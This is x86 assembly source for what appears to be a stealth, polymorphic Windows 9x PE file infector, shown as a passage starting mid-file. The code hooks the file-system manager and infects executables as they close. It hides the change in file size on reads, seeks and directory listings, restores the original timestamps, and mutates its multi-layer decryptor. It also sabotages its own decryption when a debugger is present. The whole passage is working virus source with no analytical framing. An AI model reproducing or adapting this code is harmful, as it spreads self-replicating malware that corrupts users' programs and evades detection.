		sub	eax,edx					; EAX = size of PE header including all object headers
		add	eax,stealth_table_size + 40		; (plus the required blank entry before stealth table)
		mov	[ebp+PE_SIZE],eax

	;/* get offset in file of virus loader */

		add	ecx,80

		mov	eax,[ecx.PhysicalOffset]
		add	eax,[ecx.PhysicalSize]
		mov	[ebp+LoaderOffs],eax

		add	ecx,40				; ECX pts to end of CODE section header backup

	;/* Restore infected section headers */

		pushad
		mov	edi,[ecx]			; EDI = PE RVA of last section header
		add	edi,edx
		mov	esi,ecx
		mov	ecx,40
		sub	esi,ecx
		sub	esi,ecx
		rep	movsb
		popad

		push	dword ptr [ecx+8]
		pop	dword ptr [ebp+EntryPointRVA]

		pushad
		mov	edi,[ecx+4]
		add	edi,edx
		mov	esi,ecx
		mov	ecx,40
		sub	esi,ecx
		rep	movsb
		popad

	;/* Restore the original PE header */

		push	[ecx.sdEntryPointRVA]
		pop	[edx.NTOH_EntryPointRVA]	; restore original EntryPoint RVA
		push	[ecx.sdImageSize]
		pop	[edx.NTOH_SizeOfImage]		; restore original imagesize
		push	[ecx.sdCodeSize]
		pop	[edx.NTOH_SizeOfCode]		; restore original codesize
		push	[ecx.sdCheckSum]
		pop	[edx.NTOH_CheckSum]		; restore original checksum

	;/* Erase virus stealth table */

		pushad
		sub	ecx,80
		xchg	edi,ecx
		xor	al,al
		mov	ecx,stealth_table_size		; size of stealth table
		rep	stosb
		popad
		popad


;********************************************************
;*							*
;* Stealth on reading from the infected file		*
;********************************************************

		mov	ecx,[edi.ir_length]
		test	ecx,ecx
		jz	xx_ifs_ret

		mov	esi,[ebp+st_pos]
		mov	ebx,[ebp+st_data]
		dec	ecx

HideByte:	; ESI pts to current byte

	;/* Reading inside PE header? */

		mov	eax,[ebp+PE_RVA]
		cmp	esi,eax
		jb	NextByte		; byte is below PE header, so ignore it
		add	eax,[ebp+PE_SIZE]
		cmp	esi,eax
		jae	check_loader		; byte is after PE header, check the virus' loader in CODE section

	;/* Stealthn one byte PE header */

		mov	eax,esi
		sub	eax,[ebp+PE_RVA]	; EAX = position of byte in PE header
		lea	edx,[ebp+FileBuffer]
		mov	al,[edx+eax]
		mov	[ebx],al
		jmp	NextByte

	;/* Stealth virus loader in CODE section on attempt to read */

check_loader:	mov	eax,[ebp+LoaderOffs]
		cmp	esi,eax
		jb	NextByte
		add	eax,patchsize
		cmp	esi,eax
		jae	NextByte

		xor	al,al
		mov	[ebx],al

	;/* Check next byte in reading range */

NextByte:	inc	esi
		inc	ebx
		loop	HideByte


	;/* Leave control to next hooker in ifsmgr chain */

		jmp	xx_ifs_ret
popad_ifs_hook:	popad
		jmp	next_ifs_hook



;*********************************************************
;*							 *
;* SeekFile: Stealthn virus size on seek in file	 *
;*********************************************************

SeekFile:	mov	[ebp+fsd_seek],edx
		xchg	ebx,esi				; store ESI in EBX
		lea	esi,[ebp+seek_ioreq]

		pushad
		xchg	esi,edi				; ESI points to ioreq structure, EDI to our buffer
		mov	ecx,size ioreq
		rep	movsb
		popad

		mov	[esi.ir_flags],FILE_END
		mov	[esi.ir_pos],0
		push	esi
		call	edx				; seek to end of file
		pop	esi
		mov	cx,[esi.ir_error]		; check for errors
		test	cx,cx
		jnz	next_ifs_hook

		mov	eax,[esi.ir_pos]
		cmp	eax,vsize
		jbe	next_ifs_hook

		sub	eax,vsize
		test	eax,file_align
		jnz	next_ifs_hook

	;/* File is padded as if it was infected. open it and verify it's an infected PE executable */

		lea	edx,[ebp+FileBuffer]
		call	checkfile
		jc	next_ifs_hook



		xchg	ebx,esi				; restore ESI, as we're calling next_hooker
		call	next_hooker

		mov	cx,[edi.ir_error]		; check for errors
		test	cx,cx
		jnz	xx_ifs_ret

		mov	ecx,[edi.ir_pos]
		cmp	ecx,eax
		jbe	xx_ifs_ret
		sub	ecx,eax
		sub	[edi.ir_pos],ecx
		jmp	xx_ifs_ret


	;/* Subroutine: check if file is an infected MZ PE file */

checkfile:	pushad
		xor	ecx,ecx
		mov	esi,[ebp+fsd_read]
		mov	eax,40h
		call	FSD				; Read MZ header
		jc	not_ok
		cmp	word ptr [edx],'ZM'
		jnz	not_ok
		mov	ecx,[edx+3Ch]
		cmp	ecx,1000h
		ja	not_ok
		mov	[ebp+PE_RVA],ecx
		mov	eax,400h
		call	FSD				; Read PE header
		jc	not_ok
		cmp	word ptr [edx],'EP'
		jnz	not_ok
		cmp	byte ptr [edx+15],1
		jnz	not_ok
		popad
		ret
not_ok:		stc
		popad
		ret


;*********************************************************
;*							 *
;* EnumHandle: return original filesize,		 *
;*********************************************************

EnumHandle:	call	next_hooker
		mov	esi,[edi.ir_data]
		mov	eax,[esi.bhfi_nFileSizeLow]	; EAX holds filesize
		sub	eax,vsize		; subtract virus' aligned size
		test	eax,file_align
		jnz	xx_ifs_ret
		mov	[esi.bhfi_nFileSizeLow],eax
xx_ifs_ret:	xor	eax,eax
		mov	dr0,eax
		jmp	exit_ifs_hook


;*********************************************************
;*							 *
;* Store the FSD that is to be called for writing and	 *
;* filetime (used while infecting).			 *
;*********************************************************


FileWrite:	mov	[ebp+fsd_write],edx
		jz	next_ifs_hook
FileTime:	mov	[ebp+fsd_filetime],edx
		jz	next_ifs_hook

;*********************************************************
;*							 *
;* FindFirst and FindNext filesize stealth,		 *
;*********************************************************

FindFile:
		call	next_hooker
		mov	esi,[edi.ir_data]
		mov	eax,[esi.nFileSizeLow]		; EAX holds filesize
		sub	eax,vsize		; subtract virus' aligned size (virus size/103+1*103)
		test	eax,file_align
		jnz	xx_ifs_ret
		mov	[esi.nFileSizeLow],eax
		jmp	xx_ifs_ret

;*********************************************************
;*							 *
;* Open file: set read/write access to all opened	 *
;* files.						 *
;*********************************************************


	;/* Set read/write access to the opened file, so we can infect it on closing */

FileOpen:	test    word ptr [edi.ir_options],ACTION_OPENEXISTING
		jz      next_ifs_hook
		mov	[edi.ir_flags],ACCESS_READWRITE or ACCESS_EXECUTE	; full access...

		jmp	next_ifs_hook





;********************************************************
;*							*
;* Infect closing files by writing virus to the		*
;* open handle (before closing ofcourse)		*
;********************************************************

	;/* Check if we have both the read and write FSD functions stored */

FileClose:	mov	esi,[ebp+fsd_read]
		test	esi,esi
		jz	ret_hook
		mov	ebx,[ebp+fsd_write]
		test	ebx,ebx
ret_hook:	jz	next_ifs_hook
		cmp	[edi.ir_ppath],0FFFFFBBBh	; is IO request is valid?
		jnz	next_ifs_hook

	;/* Check if the closing file is an MZ executable */

		xor	ecx,ecx				; read from position 0
		lea	edx,[ebp+FileBuffer]		; read into this buffer
		mov	eax,60h				; length of buffer to read
		call	FSD
		jc	next_ifs_hook

IF DEBUG
		cmp	dword ptr [edx],'xxZM'		; prepared goat file?
ELSE
		cmp	word ptr [edx],'ZM'		; MZ executable?
ENDIF


		jnz	next_ifs_hook			; return if not..

	;/* Get the file's "last modified" timestamp */

		pushad
		mov	ebx,[ebp+fsd_filetime]
		test	ebx,ebx
		jz	forget_time
		lea	eax,[ebp+our_ioreq]
		mov	[eax.ir_flags],GET_MODIFY_DATETIME
		push	[edi.ir_rh]
		pop	[eax.ir_rh]
		push	[edi.ir_fh]
		pop	[eax.ir_fh]
		push	eax
		call	ebx				; get last modified time
		pop	eax
		push	[eax.ir_aux2]
		pop	[ebp+ddFileTime]
forget_time:	popad

;_________________________________ (infection algorithm)

	;/* Check if the closing file is an 32-bit Portable Executable */

		mov	ecx,[edx+3Ch]			; get pointer to NewExe header
		cmp	ecx,1000h			; corrupt pointer?
		ja	next_ifs_hook			; return if corrupt.
		mov	[ebp+PE_RVA],ecx
		mov	eax,800h			; read 800h bytes at offset ECX into EDX buffer
		call	FSD				; using direct FSD access..
		jc	next_ifs_hook
		cmp	word ptr [edx],'EP'		; is it a PE header?
		jnz	next_ifs_hook			; return if not 32-bit Portable Executable
		cmp	byte ptr [edx+15],0		; infected?
		jnz	next_ifs_hook

	;/* Check if a library file (as in DLL) */

IF AVOIDDLL
		mov	ax,[edx.IFH_Characteristics]
		or	ax,IMAGE_FILE_DLL
		jz	next_ifs_hook
ENDIF
		inc	byte ptr [edx+15]		; mark header infected

	;/* Gather information from PE header and null checksum */

		push	[edx.IFH_TimeDateStamp]		; store time stamp (for encryption, as a part of the key)
		pop	[ebp+CryptKey]
		push	[edx.NTOH_FileAlignment]	; store file alignement
		pop	[ebp+Alignement]
		push	[edx.NTOH_EntryPointRVA]	; EntryPoint RVA...
		pop	[ebp+EntryPointRVA]
		push	[edx.NTOH_SizeOfCode]		; code size..
		pop	[ebp+CodeSize]
		push	[edx.NTOH_SizeOfImage]		; ImageSize
		pop	[ebp+ImageSize]
		push	[edx.NTOH_CheckSum]		; Checksum
		pop	[ebp+CheckSum]
		xor	eax,eax
		mov	[edx.NTOH_CheckSum],eax		; Null checksum (linker default)

	;/* Locate the Object headers in PE structure */

		mov	esi,[edx.NTOH_EntryPointRVA]	; ESI holds EP RVA
		movzx	eax,word ptr [edx.IFH_SizeOfOptionalHeader]		; EAX = NT header size
		pushad
		add	eax,24				; + Image file header
		movzx	ecx,word ptr [edx.IFH_NumberOfSections]		; get nr. of sections
		inc	ecx				; +1 empty section
		imul	ecx,ecx,40			; multiply it with section header size
		add	eax,ecx				; EAX = RVA/offset to virus stealth data area (from PE header)
		add	eax,edx				; EAX pts to virus stealth data area in memory
		mov	[ebp+StealthData],eax
		popad
		sub	eax,16				; EAX = Object Table position -40
		mov	ecx,edx
		add	ecx,eax
		add	edx,eax

	;/* Check if host PE header contains anough free space for our stealth table */

		pushad
		mov	esi,[ebp+StealthData]
		mov	ecx,stealth_table_size
chk_table_space:lodsb
		test	al,al
		jnz	stack_fix_3			; Exit with stackfix if PE header does not contain a cave
		loop	chk_table_space			; big anough for our stealth table.
		popad

	;/* Locate CODE section, wich is, the section EntryPoint RVA points inside */

find_code:	add	edx,40
		cmp	dword ptr [edx.ObjectName],0
		jz	next_ifs_hook
		mov	eax,[edx.RVA]			; get start RVA of section
		cmp	esi,eax
		jb	find_code			; try again if EntryPoint RVA is below section RVA
		add	eax,[edx.PhysicalSize]		; get end RVA of section
		cmp	esi,eax
		ja	find_code			; try again if EntryPoint RVA points to after end RVA

	;/* Check if CODE section contains a big anough cave for our loader */

		mov	eax,[edx.VirtualSize]
		sub	eax,[edx.PhysicalSize]
		cmp	eax,patchsize			; is the virus' patch size bigger than gap between Vsize and Psize?
		jb	next_ifs_hook			; exit infection if cave in CODE section is too small

	;/* Get last section header */

		push	esi
		push	edi
		xor	esi,esi
get_last_sec:	add	ecx,40				; get first/next section header
		cmp	[ecx.Flags],0			; reached end of section headers?
		je	got_last_hdr
		cmp	esi,[ecx.PhysicalOffset]	; is ESI below this offset
		ja	get_last_sec			; if not, check next
		mov	esi,[ecx.PhysicalOffset]	; ESI = Offset of this section
		mov	edi,ecx				; EDI points to this section header
		jmp	get_last_sec
got_last_hdr:	xchg	ecx,edi
		pop	edi
		pop	esi
		xchg	ebx,esi				; ESI holds FSD write function
							; EDX pts to CODE section header
							; ECX pts to last section header

	;/* Store original copies of infected object headers and PE header values in virus' stealth table */

		pushad
		push	edx
		push	ecx
		mov	esi,ecx
		mov	edi,[ebp+StealthData]
		mov	ecx,40
		rep	movsb
		mov	esi,edx
		mov	ecx,40
		rep	movsb
		lea	esi,[ebp+FileBuffer]
		pop	eax
		sub	eax,esi
		stosd					; store PE RVA of last section
		pop	eax
		sub	eax,esi
		stosd					; store PE RVA of CODE section
		mov	eax,[esi.NTOH_EntryPointRVA]
		stosd
		lea	esi,[ebp+ImageSize]
		mov	ecx,12
		rep	movsb
		popad

	;/* Set write bit to CODE section (to write decryption) */

		or	dword ptr [edx.Flags],IMAGE_SCN_MEM_WRITE

	;/* Set new EntryPoint RVA */

		lea	ebx,[ebp+FileBuffer]		; EBX pts to PE header
		mov	eax,[edx.RVA]			; EAX holds RVA of code section
		add	eax,[edx.PhysicalSize]		; EAX holds our new EntryPoint RVA
		pushad
		sub	eax,[ebx.NTOH_EntryPointRVA]	; EAX = New EP RVA - Old EP RVA
		mov	[ebp+HostPtr],eax		; store difference between virus loader RVA and old EP RVA
		popad
		mov	[ebx.NTOH_EntryPointRVA],eax	; Set new EntryPoint RVA


	;/* Store offset where to write virus loader as we'll need it later.. */

		mov	eax,[edx.PhysicalOffset]
		add	eax,[edx.PhysicalSize]
		push	eax				; store offset to write virus loader on stack

	;/* Set new PhysicalSize for CODE section and update flags */

		add	[edx.PhysicalSize],patchsize	; set CODE sections new size
		or	[edx.Flags],IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_READ

		mov	eax,[ecx.RVA]
		add	eax,[ecx.VirtualSize]		; EAX holds RVA of virus body
		sub	eax,[ebx.NTOH_EntryPointRVA]	; - Virus loader RVA = our DiffPtr (for exeption hook in loader)
		mov	[ebp+DiffPtr],eax

	;/* Get offset where to write virus */

		mov	eax,[ecx.PhysicalOffset]
		add	eax,[ecx.VirtualSize]
		push	eax				; store offset to write virus body

	;/* increase last sections' PhysicalSize */

		mov	eax,[ecx.VirtualSize]
		add	eax,vsize
		mov	[ecx.PhysicalSize],eax	; set new size for virus' section


	;/* Update VirtualSize in last section header, ImageSize and CodeSize in PE header */

		pushad
		add	[ecx.VirtualSize],virus_aligned
		lea	eax,[ebp+FileBuffer]
		mov	edx,[eax.RVA]
		add	edx,[ecx.VirtualSize]
		mov	[eax.NTOH_SizeOfImage],edx
		cmp	[eax.NTOH_SizeOfCode],0
		je	@@jabba
		add	[eax.NTOH_SizeOfCode],patchsize
@@jabba:	popad

	;/* Set new flags for virus' section */

		or	[ecx.Flags],IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_READ

	;/* write edited PE header */

		mov	eax,800h			; EAX = size of buffer to write
		mov	ecx,[ebp+PE_RVA]		; ECX holds position of to where to write the data
		lea	edx,[ebp+FileBuffer]
		call	FSD
		jc	stack_fix_2

	;/* Generate new encryption keys, mutate virus decryptor, and encrypt
	;   virus main body in 2 layers. */

		pushad
		call	MutateCryptors
		call	MutateHeader
		VxdCall	VMM_Get_System_Time		; returns the time, in milliseconds, since windoze started
		bswap	eax				; in case the counter is low, swap some values..
		neg	eax				; ....
		mov	ecx,[ebp+CryptKey]		; get previously stored key
		add	eax,ecx
		mov	[ebp+TopCryptKey],eax
		rcr	ecx,1
		mov	edx,[ebp+MainTopLayerKey]
		xor	ecx,edx
		add	ecx,edx
		mov	[ebp+MainTopLayerKey],ecx
		xor	eax,ecx				; xor millisecond counter with PE TimeDate stamp
		bswap	eax
		xchg	eax,ebx				; EBX holds our encryption key
		mov	[ebp+CryptKey],ebx
		pushad
		VxdCall	VMM_Get_System_Time
		cmp	al,10h
		jae	loops_ok
		sub	al,10h
loops_ok:	mov	[ebp+PolyLoops],al
		popad
		call	ProcessKey
		lea	esi,[ebp+vstart]
		lea	edi,[ebp+CryptMirror]
		push	edi
		mov	ecx,vsize
		rep	movsb
		pop	esi
		push	esi
		add	esi,(encrypted - vstart)	; ESI points to start of encrypted virus in mirror mem.
		call	poly_encrypt
		pop	esi
		call	SimpleCrypt
		popad

	;/* Write encrypted code to file */

		mov	eax,vsize
		pop	ecx				; offset to write virus body
		lea	edx,[ebp+CryptMirror]
		call	FSD
		jc	stack_fix_1

	;/* write virus loader into CODE section */

		pop	ecx				; offset to write virus loader
		mov	eax,patchsize


IF TOPCRYPT
		pushad
		call	TopCryptEnc
		popad
		lea	edx,[ebp+LoaderBuffer]
ELSE
		lea	edx,[ebp+loader]
ENDIF
		call	FSD
		jc	nextifs

;_________________________________ (end of infection algorithm)

	;/* Restore original last modified time */

		pushad
		mov	ebx,[ebp+fsd_filetime]
		test	ebx,ebx
		jz	__forget_time
		mov	eax,[ebp+ddFileTime]
		test	eax,eax
		jz	__forget_time
		push	eax
		lea	eax,[ebp+our_ioreq]
		pop	[eax.ir_aux2]
		mov	[eax.ir_flags],SET_MODIFY_DATETIME
		push	[edi.ir_rh]
		pop	[eax.ir_rh]
		push	[edi.ir_fh]
		pop	[eax.ir_fh]
		push	eax
		call	ebx
		pop	eax
__forget_time:	popad


	;/* Return to next IFS hook.. (some stackfixes) */

		jmp	nextifs
stack_fix_2:	add	esp,4
stack_fix_1:	add	esp,4
		jmp	nextifs
stack_fix_3:	popad
nextifs:	jmp	next_ifs_hook


;********************************************************
;*							*
;* Our function for calling FSD. returns carry flag set	*
;* if error						*
;********************************************************

FSD:		pushad
		clc
		push	eax
		lea	eax,[ebp+our_ioreq]
		pop	[eax.ir_length]
		push	[edi.ir_rh]
		pop	[eax.ir_rh]
		push	[edi.ir_fh]
		pop	[eax.ir_fh]
		mov	[eax.ir_pos],ecx
		mov	[eax.ir_data],edx
		push	eax
		call	esi				; read the file using direct FSD access
		pop	eax
		mov	cx,[eax.ir_error]
		test	cx,cx
		jz	no_fsd_error
		stc
no_fsd_error:	popad
		ret






comment		$

*** Sanatral mutation engine ***
#1 change the dummy byte at "@dummy" to a random one
#2 change the pop-push bytes at "@stackregz" to eax,ebx,ecx,edx,esi,edi on random basis,
   and change the instructions at "@xchgfix" and at "@addfix" with respective register.
#3 change the register used in "@ifix1" (mov REG,esp -> call REG) to any of the register-
   options in #2 (won't affect delta)
#4 change the 3 bytes at "@ifix2" to "add esp,4", or "pop eax,,nop,,nop".
#5 change the 6 bytes at "@ifix3" to either "mov ebx,(dword-key) ,, nop" or "push (dword-key),,
   pop ebx" (key offset will not be affected)
#6 change the 5 bytes at "@ifix4" to either "mov ecx,(TopCryptSize-3)" or
   "push (TopCryptSize - 3),,pop ecx,,nop,,nop"
#7 change word at "@ifix5" to either "mov edi,esi" or "push esi,,pop edi"
#8 change 5 bytes at "@ifix6" to "mov eax,[esi],,add esi,4" or "losd,,nop,,nop,,nop,,nop"
#9 change 3 bytes at "@ifix7" to either "sub esi,3" or "dec esi,,dec esi,,dec esi"
#10 change word at "@ifix8" to either "mov [edi],eax", or "stosd,,nop" (won't need to add to
    edi since we won't use it)

finally, mutate the encryption and decryption algorithms for TopCrypt.
		$


GetRandomEAX:	VxdCall	VMM_Get_System_Time
		neg	eax
		xor	eax,[ebp+CryptKey]
		bswap	eax
		xor	eax,[ebp+MutatedKey]
		add	eax,[ebp+CryptKey]
		ret
	;#### STEP 1 #####
MutateHeader:	pushad
		call	GetRandomEAX
		mov	byte ptr [ebp+@dummy],al
	;#### STEP 2 #####
		pushad
	;/* get a random counter between 0 and 4 */
		xor	ecx,ecx
		mov	cl,al
substep2:	sub	cl,5
		cmp	cl,5
		jae	substep2
	;/* get table entry for the random counter */
		imul	ecx,ecx,t1entrysize
		lea	esi,[ebp+MutationTable1]
		add	esi,ecx
	;/* replace instructions with new from table entry */
		lea	edi,[ebp+@stackregz]
		lodsw
		stosw
		PUSH ESI
		lea	edi,[ebp+@addfix]
		mov	ecx,3
		rep	movsb
		POP ESI
		ADD ESI,3
		lea	edi,[ebp+@xchgfix]
		lodsw
		stosw
		popad
	;#### STEP 3 #####
		shr	eax,4
	;/* get a random counter between 0 and 4 */
		pushad
		xor	ecx,ecx
		mov	cl,al
substep1:	sub	cl,5
		cmp	cl,5
		jae	substep1
	;/* get table entry for the random counter */
		imul	ecx,ecx,t2entrysize
		lea	esi,[ebp+MutationTable2]
		add	esi,ecx
	;/* replace instructions with new from table entry */
		lea	edi,[ebp+@ifix1]
		mov	ecx,t2entrysize
		rep	movsb
		popad
		shr	eax,4
	;#### STEP 4 #####
		pushad
step4_comb1:	lea	esi,[ebp+MutationTable3]
		cmp	al,90h
		ja	step4_comb2
		add	esi,3
step4_comb2:	lea	edi,[ebp+@ifix2]
		mov	ecx,3
		rep	movsb
		popad
	;#### STEP 5 #####
		shr	eax,4
		pushad
		lea	esi,[ebp+MutationTable4]
		cmp	al,90h
		ja	step5_comb2
		add	esi,6
step5_comb2:	lea	edi,[ebp+@ifix3]
		mov	ecx,6
		rep	movsb
		popad
	;#### STEP 6 #####
		call	GetRandomEAX
		pushad
step6_comb1:	lea	esi,[ebp+MutationTable5]
		cmp	al,90h
		ja	step6_comb2
		add	esi,5
step6_comb2:	lea	edi,[ebp+@ifix4]
		mov	ecx,5
		rep	movsb
		popad
	;#### STEP 7 ####
		shr	eax,4
		pushad
step7_comb1:	lea	esi,[ebp+MutationTable6]
		cmp	al,80h
		ja	step7_comb2
		add	esi,2
step7_comb2:	lea	edi,[ebp+@ifix5]
		lodsw
		stosw
		popad
	;#### STEP 8 ####
		shr	eax,4
		pushad
step8_comb1:	lea	esi,[ebp+MutationTable7]
		cmp	al,90h
		ja	step8_comb2
		add	esi,5
step8_comb2:	lea	edi,[ebp+@ifix6]
		mov	ecx,5
		rep	movsb
		popad
	;#### STEP 9 ####
		shr	eax,4
		pushad
step9_comb1:	lea	esi,[ebp+MutationTable8]
		cmp	al,90h
		ja	step9_comb2
		add	esi,3
step9_comb2:	lea	edi,[ebp+@ifix7]
		mov	ecx,3
		rep	movsb
		popad
	;#### STEP 10 ####
		shr	eax,4
step10_comb1:	lea	esi,[ebp+MutationTable9]
		cmp	al,90h
		ja	step10_comb2
		add	esi,2
step10_comb2:	lea	edi,[ebp+@ifix8]
		lodsw
		stosw
		popad
		ret
	;/*** Mutation tables ***/
MutationTable1:	pop	ebx
		push	ebx
		add	ebx,(TopCrypt-@addfix)
		xchg	ebx,esi
t1entrysize	equ	$ - MutationTable1
		pop	ecx
		push	ecx
		add	ecx,(TopCrypt-@addfix)
		xchg	ecx,esi
		pop	edx
		push	edx
		add	edx,(TopCrypt-@addfix)
		xchg	edx,esi
		pop	esi
		push	esi
		add	esi,(TopCrypt-@addfix)
		xchg	esi,esi
		pop	edi
		push	edi
		add	edi,(TopCrypt-@addfix)
		xchg	edi,esi
MutationTable2:	mov	ebx,esp
		call	ebx
t2entrysize	equ	$ - MutationTable2
		mov	ecx,esp
		call	ecx
		mov	edx,esp
		call	edx
		mov	esi,esp
		call	esi
		mov	edi,esp
		call	edi
MutationTable3:	add	esp,4
		pop	eax
		nop
		nop
MutationTable4:	mov	ebx,12345678h
		nop
		push	12345678h
		pop	ebx
MutationTable5:	mov	ecx,(TopCryptSize-3)
		push	(TopCryptSize - 3)
		pop	ecx
		nop
		nop
MutationTable6:	mov	edi,esi
		push	esi
		pop	edi
MutationTable7:	mov	eax,[esi]
		add	esi,4
		lodsd
		nop
		nop
		nop
		nop
MutationTable8:	sub	esi,3
		dec	esi
		dec	esi
		dec	esi
MutationTable9:	stosd
		nop
		mov	[edi],eax
dec_table:	xor	eax,ebx
		rol	eax,1
		add	eax,ebx
		xor	eax,ebx
		bswap	eax
		sub	eax,ebx
		xor	eax,ebx
		ror	eax,1
		bswap	eax
		xor	eax,ebx
		add	eax,ebx
		rol	eax,1
		xor	eax,ebx
		bswap	eax
cr_table_size	equ	$ - dec_table
cr_table_nr	equ	(cr_table_size / 2)
		bswap	eax
		xor	eax,ebx
		ror	eax,1
		sub	eax,ebx
		xor	eax,ebx
		bswap	eax
		rol	eax,1
		xor	eax,ebx
		add	eax,ebx
		bswap	eax
		xor	eax,ebx
		sub	eax,ebx
		ror	eax,1
		xor	eax,ebx
enc_table:
GenerateAlgo:	pushad
		call	GetRandomEAX
tbl_loop:	sub	al,cr_table_nr-3
		cmp	al,cr_table_nr-3
		jae	tbl_loop
		shl	eax,24
		shr	eax,24
		add	eax,eax
		lea	esi,[ebp+dec_table]
		add	esi,eax
		pushad
		lea	edi,[ebp+dec_algo]
		mov	ecx,6
		rep	movsb
		popad
		lea	esi,[ebp+enc_table-6]
		sub	esi,eax
		lea	edi,[ebp+enc_algo]
		mov	ecx,6
		rep	movsb
		popad
		ret

	;/* A simple addon for mutating all encryptions and decryptions some */

MutateCryptors: call	GenerateAlgo
		pushad
		lea	esi,[ebp+enc_algo]
		lea	edi,[ebp+simple_enc]
		mov	ecx,6
		rep	movsb
		lea	esi,[ebp+dec_algo]
		lea	edi,[ebp+simple_dec]
		mov	ecx,6
		rep	movsb
		popad
		call	GenerateAlgo
		pushad
		lea	esi,[ebp+enc_algo]
		lea	edi,[ebp+main_enc]
		mov	ecx,6
		rep	movsb
		lea	esi,[ebp+dec_algo]
		lea	edi,[ebp+main_dec]
		mov	ecx,6
		rep	movsb
		popad
		call	GenerateAlgo
		ret











	;/* 32-bit main encryption, 16 to 255 layers */

poly_encrypt:	xor	ecx,ecx
		mov	cl,byte ptr [ebp+PolyLoops]
encloop2:	ror	ebx,1
		bswap	ebx
		neg	ebx
		add	ebx,[ebp+CryptKey]
		pushad
		mov	ecx,encryptedsize-4
encrypt_dword:	pushad
		mov	edi,esi
		lodsd
		xor	eax,ebx
		sub	eax,ebx
		neg	eax
		ror	eax,1
		bswap	eax
		xor	eax,ebx
		not	eax
		xor	eax,ebx
		bswap	ebx
		xor	eax,ebx
		bswap	ebx
main_enc:	db	6 dup (90h)
		ror	eax,3
		add	eax,ebx
		xor	eax,ebx
		stosd
		popad
		inc	esi
		loop	encrypt_dword
		popad
		loop	encloop2
		ret

;_________________________________

ProcessKey:	pushad
		xor	ecx,ecx
		mov	cl,byte ptr [ebp+PolyLoops]
rorloop:	ror	ebx,1			; ror shift key 16 to 255 times to match our encryption
		bswap	ebx
		neg	ebx
		add	ebx,[ebp+CryptKey]
		loop	rorloop
		mov	[ebp+MutatedKey],ebx
		popad
		ret

encryptedsize	equ	$ - encrypted		; end of encrypted body (polymorphic)

;_________________________________ 


	;/* 32-bit main decryptor */

CryptKey	dd	?

poly_decrypt:	mov	esp,[esp+8]				; gets the ESP when SEH was set
		pop	dword ptr fs:[0]
		add	esp,4
		popad						; restore registers 


		pushad
getkey:		mov	ebx,00000000h		; EBX holds decryptor key
MutatedKey	equ	dword ptr [$-4]
		mov	ecx,fs:[20h]
		jecxz	dcloop1
		rcr	ebx,3			; corrupt decryptor key, we're being debugged... results in that the decryptor
dcloop1:	pushad				; loop will turn into an infinite loop and hang execution ;)
		mov	ecx,encryptedsize-4
		add	esi,encryptedsize-4-1

decrypt_dword:	pushad
		mov	edi,esi
		lodsd
		xor	eax,ebx
		sub	eax,ebx
		rol	eax,3
main_dec:	db	6 dup (90h)
		bswap	ebx
		xor	eax,ebx
		bswap	ebx
		xor	eax,ebx
		not	eax
		xor	eax,ebx
		bswap	eax
		rol	eax,1
		neg	eax
		add	eax,ebx
		xor	eax,ebx
		stosd
		popad
		dec	esi
		loop	decrypt_dword
		popad

	;/* Mutate key backwards (compared to the encryption algo.) */

		sub	ebx,[ebp+CryptKey]
		neg	ebx
		bswap	ebx
		rol	ebx,1			; rol shift key one step back towards the original first-layer key..
		cmp	ebx,[ebp+CryptKey]	; does our result match the original key?
		jnz	dcloop1			; continue decrypting if not (16 to 255 loops)
		popad
end_decrypt:	jmp	install



lsize	equ	$ - vstart



;********************************************************
;*							*
;* Data	buffering memory				*
;********************************************************

data:
CryptMirror	db	2000h dup (0)
;ZeroBuffer	db	2000h dup (0)
FileBuffer	db	2000h dup (?)
PE_RVA		dd	?
PE_SIZE		dd	?
LoaderOffs	dd	?
fsd_read	dd	?
fsd_write	dd	?
fsd_seek	dd	?
fsd_filetime	dd	?
our_ioreq	ioreq	<?>
seek_ioreq	ioreq	<?>
Alignement	dd	?
StealthData	dd	?
EntryPointRVA	dd	?
ImageSize	dd	?
CodeSize	dd	?
CheckSum	dd	?
ddFileTime	dd	?
FileSize	dd	?
PolyLoops	db	?
st_data		dd	?
st_pos		dd	?
LoaderBuffer	db	(patchsize + 10) dup (?)
end_data:
ends
end start

